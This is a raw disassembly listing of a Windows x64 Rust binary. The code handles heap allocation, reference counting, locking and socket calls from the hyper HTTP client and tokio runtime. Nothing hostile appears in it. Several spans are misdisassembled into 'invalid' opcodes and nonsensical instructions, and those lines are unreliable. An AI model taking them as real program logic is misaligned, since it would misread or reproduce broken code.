mov r9, qword [rsi + 0x120]
mov ecx, dword [rsi + 0x12c]
mov dword [rsp + 0x2b73], ecx
mov ecx, dword [rsi + 0x129]
mov dword [rsp + 0x2b70], ecx
mov byte [rsi + 0x148], 1
mov ecx, dword [rsp + 0x2b70]
mov edx, dword [rsp + 0x2b73]
mov dword [rsp + 0x138], ecx
mov dword [rsp + 0x13b], edx
mov dl, 2
cmp byte [rsi + 0x110], 0
jne 0x1400ceeb3
mov ecx, dword [rsp + 0x138]
mov edx, dword [rsp + 0x13b]
mov dword [rsp + 0xa43], edx
mov dword [rsp + 0xa40], ecx
mov edx, eax
lea rdi, [rsi + 0x108]
mov rax, qword [rsi + 0xf0]
mov qword [rsp + 0x2ba0], rax
movups xmm0, xmmword [rsi + 0xc0]
movups xmm1, xmmword [rsi + 0xd0]
movups xmm2, xmmword [rsi + 0xe0]
movaps xmmword [rsp + 0x2b90], xmm2
movaps xmmword [rsp + 0x2b80], xmm1
movaps xmmword [rsp + 0x2b70], xmm0
mov r14, qword [rsi + 0xa0]
mov rbx, qword [rsi + 0xa8]
mov r10, qword [rsi + 0xb0]
movzx eax, byte [rsi + 0xb8]
mov byte [rsp + 0x50], al
movzx r12d, byte [rsi + 0xb9]
lea rax, [rsi + 0xba]
movzx ecx, word [rsi + 0xbe]
mov word [rsp + 0x584], cx
mov ecx, dword [rsi + 0xba]
mov dword [rsp + 0x580], ecx
mov rbp, qword [rsi + 0x108]
test rbp, rbp
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], r9
mov byte [rsp + 0x60], dl
mov qword [rsp + 0x78], r10
je 0x1400cf26c
cmp dl, 2
jne 0x1400cf2a4
test r14, r14
je 0x1400cf2da
mov rcx, r14
call qword [rbx + 0x18]
mov r10, qword [rsp + 0x78]
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov r15, rax
jmp 0x1400cf2dd
mov byte [rbx], 3
mov byte [r13 + 0x70], 3
mov al, 4
jmp 0x1400cf24a
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400cefce
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400cf9c5
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400cf9c5
mov r15, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 5
cmp byte [rsi + 0x128], 2
je 0x1400cf0b4
mov rax, qword [r14]
lock dec qword [rax]
jne 0x1400cf015
mov rcx, qword [r14]
call fcn.1400ba5f0
mov rax, qword [r14 + 8]
lock dec qword [rax + 0x1d0]
jne 0x1400cf0a1
mov rdi, qword [r14 + 8]
lea rcx, [rdi + 0x80]
mov edx, 1
lock xadd qword [rdi + 0x88], rdx
call fcn.140113f70
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rdi + 0x110]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x1400cf060
test rax, rax
jne 0x1400cf0a1
mov rax, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov qword [rdi + 0x100], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400cf0a1
call qword [rax + ioctlsocket]
mov rax, qword [r14 + 8]
lock dec qword [rax]
jne 0x1400cf0b4
mov rcx, qword [r14 + 8]
call fcn.1400b91d0
mov eax, dword [rsp + 0x1be0]
mov ecx, dword [rsp + 0x1be3]
mov dword [rsp + 0x2b73], ecx
mov dword [rsp + 0x2b70], eax
mov byte [rbx], 1
mov eax, dword [rsp + 0x2b70]
mov ecx, dword [rsp + 0x2b73]
mov dword [rsp + 0x138], eax
mov dword [rsp + 0x13b], ecx
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x1400cf10b
lock dec qword [rax]
jne 0x1400cf10b
mov rcx, qword [rsi + 0x68]
mov rdx, qword [rsi + 0x70]
call fcn.140069a20
mov rax, qword [rsi + 0xf8]
test rax, rax
je 0x1400cf130
lock dec qword [rax]
jne 0x1400cf130
mov rcx, qword [rsi + 0xf8]
mov rdx, qword [rsi + 0x100]
call fcn.140069a20
mov rax, qword [rsi + 0x108]
test rax, rax
je 0x1400cf14e
lock dec qword [rax]
jne 0x1400cf14e
lea rcx, [rsi + 0x108]
call fcn.1400b8840
lea rcx, [rsi + 0xc0]
call fcn.1400c57d0
mov rbx, qword [rsi + 0xa0]
test rbx, rbx
je 0x1400cf196
mov rdi, qword [rsi + 0xa8]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400cf196
cmp qword [rdi + 0x10], 0x11
jb 0x1400cf184
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0xb0]
lock dec qword [rax]
mov dil, 2
jne 0x1400cf1b2
mov rcx, qword [rsi + 0xb0]
call fcn.1400a6150
mov qword [r13], r15
movaps xmm0, xmmword [rsp + 0xaa0]
movaps xmm1, xmmword [rsp + 0xab0]
movups xmmword [r13 + 8], xmm0
movups xmmword [r13 + 0x18], xmm1
mov rax, qword [rsp + 0xac0]
mov qword [r13 + 0x28], rax
mov qword [r13 + 0x30], rcx
mov qword [r13 + 0x38], rdx
mov byte [r13 + 0x40], r8b
mov eax, dword [rsp + 0x550]
mov ecx, dword [rsp + 0x553]
mov dword [r13 + 0x41], eax
mov dword [r13 + 0x44], ecx
mov qword [r13 + 0x48], r14
mov qword [r13 + 0x50], rbx
mov qword [r13 + 0x58], r9
mov byte [r13 + 0x60], r10b
mov byte [r13 + 0x61], r12b
mov eax, dword [rsp + 0x198]
mov dword [r13 + 0x62], eax
movzx eax, word [rsp + 0x19c]
mov word [r13 + 0x66], ax
mov qword [r13 + 0x68], rbp
mov byte [r13 + 0x70], dil
mov eax, dword [rsp + 0x548]
mov ecx, dword [rsp + 0x54b]
mov dword [r13 + 0x74], ecx
mov dword [r13 + 0x71], eax
mov al, 1
mov byte [rsi + 0x111], al
movaps xmm6, xmmword [rsp + 0x3ad0]
add rsp, 0x3ae8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, dword [rsp + 0xa40]
mov edx, dword [rsp + 0xa43]
mov dword [rsp + 0xc83], edx
mov dword [rsp + 0xc80], ecx
mov ecx, dword [rax]
mov dword [rsp + 0x6a0], ecx
movzx eax, word [rax + 4]
mov word [rsp + 0x6a4], ax
xor ebp, ebp
jmp 0x1400cf629
movzx ecx, word [rax + 4]
mov word [rsp + 0x5c4], cx
mov eax, dword [rax]
mov dword [rsp + 0x5c0], eax
mov eax, dword [rsp + 0xa40]
mov ecx, dword [rsp + 0xa43]
mov dword [rsp + 0x750], eax
mov dword [rsp + 0x753], ecx
mov ecx, r12d
jmp 0x1400cf32d
xor r15d, r15d
lock inc qword [r10]
jle 0x1400cf8c1
lock inc qword [r8]
jle 0x1400cf8c1
lock inc qword [r9 + 0x1d0]
lock inc qword [r9]
jle 0x1400cf8c1
movzx eax, word [rsp + 0x584]
mov word [rsp + 0x5c4], ax
mov eax, dword [rsp + 0x580]
mov dword [rsp + 0x5c0], eax
mov cl, 2
cmp r12b, 2
jne 0x1400cf3cd
mov eax, dword [rsp + 0x750]
mov edx, dword [rsp + 0x753]
mov dword [rsp + 0x7b3], edx
mov bl, 7
add byte [rax], al
mov dword [rsp + 0x7b0], eax
mov eax, dword [rsp + 0x5c0]
mov dword [rsp + 0x840], eax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x844], ax
jmp 0x1400cf36b
pause
mov rax, qword [rbp + 8]
nop
cmp rax, 0xffffffffffffffff
je 0x1400cf369
test rax, rax
js 0x1400cf8c5
lea rdx, [rax + 1]
lock cmpxchg qword [rbp + 8], rdx
jne 0x1400cf370
mov eax, dword [rsp + 0x7b0]
mov edx, dword [rsp + 0x7b3]
mov dword [rsp + 0xc83], edx
mov dword [rsp + 0xc80], eax
mov eax, dword [rsp + 0x840]
mov dword [rsp + 0x6a0], eax
movzx eax, word [rsp + 0x844]
mov word [rsp + 0x6a4], ax
mov r12d, ecx
jmp 0x1400cf629
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x1be0], r8
mov qword [rsp + 0x1be8], r9
mov byte [rsp + 0x1bf0], 2
mov qword [rsp + 0x1bf8], r14
mov qword [rsp + 0x1c00], rbx
mov qword [rsp + 0x1c08], r10
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x1c10], al
mov byte [rsp + 0x1c11], r12b
mov eax, dword [rsp + 0x580]
mov dword [rsp + 0x1c12], eax
movzx eax, word [rsp + 0x584]
mov word [rsp + 0x1c16], ax
lea r14, [rbp + 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400cf83e
xor ebx, ebx
movzx ecx, byte [rbp + 0x18]
test cl, cl
jne 0x1400cf854
movzx ecx, byte [rsp + 0x2b70]
test rcx, rcx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0xf8], r15
je 0x1400cf4cd
cmp ecx, 1
jne 0x1400cf4d1
mov al, 1
movzx ecx, byte [rsp + 0x2b71]
jmp 0x1400cf512
xor eax, eax
jmp 0x1400cf512
movzx eax, byte [0x1402153f8]
mov ecx, 0x20
mov edx, 8
call fcn.140013830
test rax, rax
je 0x1400cfc6a
mov r15, rax
mov rax, qword [rsp + 0x2b78]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, r15
call qword [r10]
mov al, 2
lea r14, [rbp + 0x20]
mov byte [rsp + 0xc80], al
mov byte [rsp + 0xc81], cl
mov qword [rsp + 0xc88], r15
lea rcx, [rsp + 0xc90]
lea rdx, [rsp + 0x2b98]
mov rax, qword [rsp + 0x2b80]
mov r8, qword [rsp + 0x2b88]
mov r9, qword [rsp + 0x2b90]
call qword [rax]
lea rdx, [rsp + 0xc80]
lea r8, [rsp + 0x1be0]
mov rcx, r14
mov r9, rdi
call fcn.1400c15c0
lea rdx, [rsp + 0x2b70]
mov rcx, r14
call fcn.1400c5f10
mov rax, qword [rsp + 0x2ba0]
test rax, rax
je 0x1400cf5b2
cmp rax, 0xffffffffffffffff
je 0x1400cf5b2
lock dec qword [rax + 8]
jne 0x1400cf5b2
mov r8, qword [rsp + 0x2ba0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x2ba0], 0
mov eax, dword [rsp + 0x7b0]
mov ecx, dword [rsp + 0x7b3]
mov dword [rsp + 0xc80], eax
mov dword [rsp + 0xc83], ecx
mov eax, dword [rsp + 0x840]
mov dword [rsp + 0x6a0], eax
movzx eax, word [rsp + 0x844]
mov word [rsp + 0x6a4], ax
test bl, bl
mov r14, qword [rsp + 0xf8]
jne 0x1400cf617
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400cf891
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor ebp, ebp
mov rbx, qword [rsp + 0x48]
mov eax, dword [rsp + 0xc80]
mov ecx, dword [rsp + 0xc83]
mov dword [rsp + 0x753], ecx
mov dword [rsp + 0x750], eax
mov eax, dword [rsp + 0x6a0]
mov dword [rsp + 0x5c0], eax
movzx eax, word [rsp + 0x6a4]
mov word [rsp + 0x5c4], ax
movzx eax, byte [rsp + 0x2b70]
test rax, rax
je 0x1400cf681
cmp eax, 1
jne 0x1400cf685
mov al, 1
movzx ecx, byte [rsp + 0x2b71]
jmp 0x1400cf6ea
xor eax, eax
jmp 0x1400cf6ea
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400cf6b1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400cfc6a
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400cfc6a
mov r15, rax
mov rax, qword [rsp + 0x2b78]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
adc byte [rcx + rcx*4 - 7], cl
call qword [r10]
mov al, 2
mov byte [rsp + 0xc80], al
mov byte [rsp + 0xc81], cl
mov qword [rsp + 0xc88], r15
lea rcx, [rsp + 0xc90]
lea rdx, [rsp + 0x2b98]
mov rax, qword [rsp + 0x2b80]
mov r8, qword [rsp + 0x2b88]
mov r9, qword [rsp + 0x2b90]
call qword [rax]
mov eax, dword [rsp + 0x750]
mov ecx, dword [rsp + 0x753]
mov dword [rsp + 0x553], ecx
add eax, 0x84890000
and al, 0x50
add eax, 0x848b0000
add byte [rbx + 0x5c02484], cl
add byte [rax], al
invalid
mov dword [rsp + 0x198], eax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x19c], ax
mov r15, qword [rsp + 0xc80]
movups xmm0, xmmword [rsp + 0xc88]
movaps xmmword [rsp + 0xaa0], xmm0
movups xmm0, xmmword [rsp + 0xc98]
movaps xmmword [rsp + 0xab0], xmm0
mov rax, qword [rsp + 0xca8]
mov qword [rsp + 0xac0], rax
lea rcx, [rsp + 0x2b70]
jo 0x1400cf7cd
add byte [rax], al
call fcn.1400c57d0
mov eax, dword [rsp + 0x1be0]
add byte [rbx + 0x1be3248c], cl
add byte [rax], al
mov dword [rsp + 0x548], eax
mov dword [rsp + 0x54b], ecx
mov word [rbx + rcx*2], fs
add eax, 0x8b480000
push 0x74c08548
invalid
lock dec qword [rax]
jne 0x1400cf7e1
mov rcx, qword [rsi + 0x68]
mov rdx, qword [rsi + 0x70]
call fcn.140069a20
mov rax, qword [rsi + 0xf8]
test rax, rax
je 0x1400cf806
lock dec qword [rax]
jne 0x1400cf806
mov rcx, qword [rsi + 0xf8]
mov rdx, qword [rsi + 0x100]
call fcn.140069a20
mov rax, qword [rdi]
test rax, rax
je 0x1400cf81c
lock dec qword [rax]
jne 0x1400cf81c
invalid
mov rcx, rdi
call fcn.1400b8840
xor edi, edi
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
movzx r8d, byte [rsp + 0x60]
mov r9, qword [rsp + 0x78]
movzx r10d, byte [rsp + 0x50]
jmp 0x1400cf1b2
call fcn.1401666c0
mov ebx, eax
xor bl, 1
movzx ecx, byte [rbp + 0x18]
test cl, cl
je 0x1400cf462
mov qword [rsp + 0xc80], r14
mov byte [rsp + 0xc88], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientpool.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4cb8]
lea r8, [rsp + 0xc80]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
test al, al
jne 0x1400cf617
jns 0x1400cf899
invalid
invalid
mov byte [rbp + 0x18], 1
jmp 0x1400cf617
ud2
lea rax, str.Arc_counter_overflow
mov qword [rsp + 0xc80], rax
and al, 0x80
or al, 0
add byte [rax - 0x73], cl
add eax, 0xfffca8d5
and al, 0x80
or al, 0
add byte [rax - 0x73], cl
add eax, 0xfffca8d5
mov qword [rsp + 0xc88], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa8]
adc eax, 0x1351b5
lea rsi, [rsp + 0x1be0]
lea r9, [rsp + 0xc80]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_sync.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconn.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x1e0
call fcn.14015d7f0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimecontextcurrent.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401e1a3a]
lea r9, [0x1401d4c38]
lea r8, [rsp + 0x1be0]
mov edx, 0x18
call fcn.140161200
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconn.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 0x80
mov edx, 0x280
call fcn.14015d7f0
ud2
mov rax, qword [rsp + 0x1be0]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x1400cfc4e
lea rcx, [rsp + 0x1be0]
call fcn.1400d1c60
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0x90]
dec rdi
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x90], rdi
jmp 0x1400cfcdc
mov ecx, 8
mov edx, 0x20
call fcn.14015d7f0
ud2
mov rax, qword [rsp + 0x38]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x1400cfcb1
lea rcx, [rsp + 0xc80]
call fcn.1400d1c60
mov al, 1
jmp 0x1400cfcde
xor eax, eax
mov byte [rsp + 0xc80], al
lea rax, [rsp + 0xc80]
mov qword [rsp + 0x2b70], rax
lea rax, [0x140146c50]
mov qword [rsp + 0x2b78], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa8]
lea rsi, [rsp + 0x1be0]
lea r9, [rsp + 0x2b70]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommonexec.rs
invalid
insb byte [rdi], dx
adc byte [rax], al
mov rcx, rsi
call fcn.140160e20
ud2
mov rax, qword [rbp + 0xcc8]
inc eax
cmp byte [r12 + 0xc9], 0
mov byte [r12 + 0xc9], 0
mov rbx, qword [rbp + 0xce0]
mov rcx, qword [rbp + 0xd30]
mov r10, qword [rbp + 0xd38]
je 0x1400d75e4
cmp eax, 0x10
je 0x1400d75d2
mov qword [rbp + 0xcc8], rax
cmp byte [r12 + 0x1d8], 0
je 0x1400d4b00
lea rbx, [rbp + 0x8c0]
jmp 0x1400d5cf9
lea rbx, [rbp + 0x8c0]
mov qword [rbp + 0xd38], r10
mov r14, qword [rbp + 0xce0]
jmp 0x1400d4b47
lea rcx, [rbp + 0xac0]
call fcn.140085c60
lea rcx, [rbp + 0x720]
call fcn.1400d84c0
cmp byte [r12 + 0x1d8], 0
jne 0x1400d5cf2
mov rax, qword [r12 + 0x70]
test rax, rax
jne 0x1400d4b60
cmp qword [r12 + 0x88], 2
jne 0x1400d4cee
movzx ecx, byte [r12 + 0x1c8]
mov byte [r12 + 0x1c8], 3
cmp cl, 3
je 0x1400d5c1d
mov rdx, qword [rbp + 0xd20]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movdqa xmmword [rbp + 0x730], xmm1
movdqa xmmword [rbp + 0x720], xmm0
mov byte [rbp + 0x740], cl
mov rdx, qword [rbp + 0xce8]
mov ecx, dword [rdx]
mov edx, dword [rdx + 3]
lea r8, [rbp + 0x730]
mov dword [r8 + 0x14], edx
mov dword [r8 + 0x11], ecx
dec rax
cmp rax, 2
jae 0x1400d53e0
lea rcx, [rbp + 0x720]
mov rdx, r14
call fcn.140085f80
test rax, rax
jne 0x1400d5cb0
test rdx, rdx
je 0x1400d5040
mov qword [rbp + 0xac0], rdx
cmp dword [r12 + 0x70], 1
jne 0x1400d4c02
mov qword [r12 + 0x70], 2
mov rcx, rbx
mov rdx, r12
mov r8, r14
call fcn.1400e5c40
mov rax, qword [rbp + 0x8c0]
cmp rax, 2
je 0x1400d4cc0
test rax, rax
je 0x1400d4cc0
mov rax, qword [rbp + 0x8c8]
test rax, rax
je 0x1400d4c50
mov rdx, qword [rbp + 0x8d0]
mov r8, qword [rbp + 0x8d8]
lea rcx, [rbp + 0x8e0]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400d4cc0
mov rdi, qword [rbp + 0x8d0]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x1400d4cc0
mov r15, rsi
mov rbx, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400d4c95
cmp qword [rsi + 0x10], 0x11
jb 0x1400d4c83
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rbx, [rbp + 0x8c0]
mov rsi, r15
nop word cs:[rax + rax]
mov rax, qword [r12 + 0x70]
test rax, rax
je 0x1400d4b20
cmp eax, 3
je 0x1400d4b20
mov qword [r12 + 0x70], 4
mov byte [r12 + 0xca], 2
jmp 0x1400d4b20
mov rcx, qword [rbp + 0xd30]
cmp dword [rcx], 2
je 0x1400d7232
mov rdx, r14
call fcn.1400e0750
test al, al
je 0x1400d7232
movd xmm9, dword [r12 + 0xc1]
movzx eax, byte [r12 + 0xc5]
mov byte [rbp + 0xcf0], al
movzx eax, byte [r12 + 0xc6]
mov byte [rbp + 0xd18], al
movzx eax, byte [r12 + 0xc8]
mov byte [rbp + 0xcc0], al
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x888]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0xc90]
mov qword [rbp + 0x248], rax
movd dword [rbp + 0x250], xmm9
movzx eax, byte [rbp + 0xcf0]
mov byte [rbp + 0x254], al
movzx eax, byte [rbp + 0xd18]
mov byte [rbp + 0x255], al
movzx eax, byte [rbp + 0xcc0]
mov byte [rbp + 0x256], al
cmp qword [r12 + 0x158], 0
je 0x1400d4ec0
mov qword [rbp + 0xac0], 2
mov qword [rbp + 0xae0], 0
mov rcx, rbx
mov rdx, qword [rbp + 0xcb8]
lea r8, [rbp + 0x240]
call fcn.14008a850
mov rdx, qword [rbp + 0xac0]
cmp rdx, 2
je 0x1400d4e90
mov rcx, qword [rbp + 0xac8]
mov rax, qword [rbp + 0xad0]
test rdx, rdx
je 0x1400d4e0d
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0xad8]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0xac0]
cmp rdx, 2
je 0x1400d4e90
mov rcx, qword [rbp + 0xac8]
mov rax, qword [rbp + 0xad0]
test rdx, rdx
je 0x1400d4e49
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0xad8]
call qword [rax + 0x80]
mov rax, qword [rbp + 0xac0]
cmp rax, 2
je 0x1400d4e90
test rax, rax
je 0x1400d4e90
mov rax, qword [rbp + 0xac8]
lock dec qword [rax]
jne 0x1400d4e90
mov rcx, qword [rbp + 0xac8]
mov rdx, qword [rbp + 0xad0]
call fcn.140069a20
nop dword [rax + rax]
mov rdi, qword [rbp + 0x8c0]
movzx r11d, byte [rbp + 0x8c8]
cmp rdi, 4
mov r10, qword [rbp + 0xd38]
jne 0x1400d4edf
jmp 0x1400d5407
mov qword [rbp + 0x8c0], 3
mov edi, 3
movzx r11d, byte [rbp + 0x8c8]
mov r10, qword [rbp + 0xd38]
movzx r12d, byte [rbp + 0x8cf]
movzx r14d, word [rbp + 0x8cd]
mov r15d, dword [rbp + 0x8c9]
lea rcx, [rbp + 0x900]
mov rax, qword [rcx - 0x10]
mov qword [rbp + 0x740], rax
movups xmm0, xmmword [rcx - 0x30]
movdqu xmm1, xmmword [rcx - 0x20]
movdqa xmmword [rbp + 0x730], xmm1
movaps xmmword [rbp + 0x720], xmm0
mov rdx, qword [rbp + 0x8f8]
movups xmm0, xmmword [rcx]
movaps xmmword [rbp + 0x890], xmm0
mov r13, qword [rbp + 0x910]
movdqu xmm0, xmmword [rcx + 0x18]
movdqa xmmword [rbp + 0x420], xmm0
movzx eax, word [rcx + 0x28]
mov word [rbp + 0x430], ax
movzx ebx, byte [rbp + 0x92a]
movzx eax, byte [rcx + 0x2f]
mov byte [rbp + 0xc44], al
mov eax, dword [rcx + 0x2b]
mov dword [rbp + 0xc40], eax
cmp rdi, 3
jne 0x1400d50f9
xor eax, eax
mov r12, qword [rbp + 0xd28]
cmp byte [r12 + 0xd0], 0
sete al
mov rcx, qword [r12 + 0x158]
cmp rcx, qword [r12 + rax*8 + 0xd8]
jae 0x1400d5220
lea rbx, [rbp + 0x8c0]
mov rcx, rbx
mov rdx, qword [rbp + 0xcb0]
mov r8, qword [rbp + 0xce0]
call fcn.1400e3d40
mov rax, qword [rbp + 0x8c0]
cmp rax, 2
je 0x1400d527c
mov rcx, qword [rbp + 0x8c8]
test rax, rax
jne 0x1400d535e
test rcx, rcx
jne 0x1400d4d50
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d500f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
jmp 0x1400d5462
lea rcx, [rbp + 0xac0]
mov rdx, r12
mov r8, r14
call fcn.1400e5c40
mov rax, qword [rbp + 0xac0]
test rax, rax
je 0x1400d53e0
cmp eax, 1
jne 0x1400d5cb0
cmp qword [rbp + 0xac8], 0
je 0x1400d528d
mov rcx, rbx
lea rdx, [rbp + 0x730]
lea r8, [rbp + 0xac8]
call fcn.140086200
cmp byte [rbp + 0x8e0], 2
jne 0x1400d536b
cmp byte [r12 + 0x1c8], 3
je 0x1400d50b3
mov rcx, qword [rbp + 0xd20]
call fcn.1400d84c0
mov rax, qword [rbp + 0x740]
mov rcx, qword [rbp + 0xd20]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x720]
movdqa xmm1, xmmword [rbp + 0x730]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov r10, qword [rbp + 0xd38]
cmp byte [r12 + 0x1d8], 0
je 0x1400d4b07
jmp 0x1400d5cf9
mov qword [rbp + 0xcc0], rdx
mov qword [rbp + 0xcf0], rsi
mov rdx, qword [rbp + 0x930]
movzx eax, byte [rbp + 0x938]
movzx r8d, byte [rbp + 0x939]
movzx ecx, byte [rbp + 0x93a]
mov r9, qword [rbp + 0x740]
mov qword [rbp + 0x620], r9
movaps xmm0, xmmword [rbp + 0x720]
movaps xmm1, xmmword [rbp + 0x730]
movaps xmmword [rbp + 0x610], xmm1
movaps xmmword [rbp + 0x600], xmm0
movaps xmm0, xmmword [rbp + 0x890]
movaps xmmword [rbp + 0x860], xmm0
movaps xmm0, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x340], xmm0
movzx r9d, word [rbp + 0x430]
mov word [rbp + 0x350], r9w
mov r9d, dword [rbp + 0xc40]
mov dword [rbp + 0xcf8], r9d
movzx r9d, byte [rbp + 0xc44]
mov byte [rbp + 0xcfc], r9b
mov r9, qword [rbp + 0xd28]
mov byte [r9 + 0xc8], 0
cmp byte [r9 + 0xca], 2
jne 0x1400d51b5
test r8b, r8b
jne 0x1400d51d1
cmp r8b, 1
mov r8d, 0
adc r8b, 1
mov r9, qword [rbp + 0xd28]
mov byte [r9 + 0xca], r8b
mov rsi, qword [rbp + 0xd28]
mov byte [rsi + 0xcb], bl
test cl, cl
setne cl
add cl, cl
mov byte [rbp + 0xd18], cl
test rdx, rdx
je 0x1400d5974
test al, al
je 0x1400d5a09
cmp rdx, 0xffffffffffffffff
mov rsi, qword [rbp + 0xcf0]
je 0x1400d5a99
cmp rdx, 0xfffffffffffffffe
jne 0x1400d5a9d
mov al, 1
xor esi, esi
jmp 0x1400d5aa2
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d5249
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x900
jmp 0x1400d5462
mov edi, 5
mov rcx, qword [rbp + 0xd30]
jmp 0x1400d5530
mov r14, rsi
mov rsi, qword [rbp + 0xad0]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d52c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
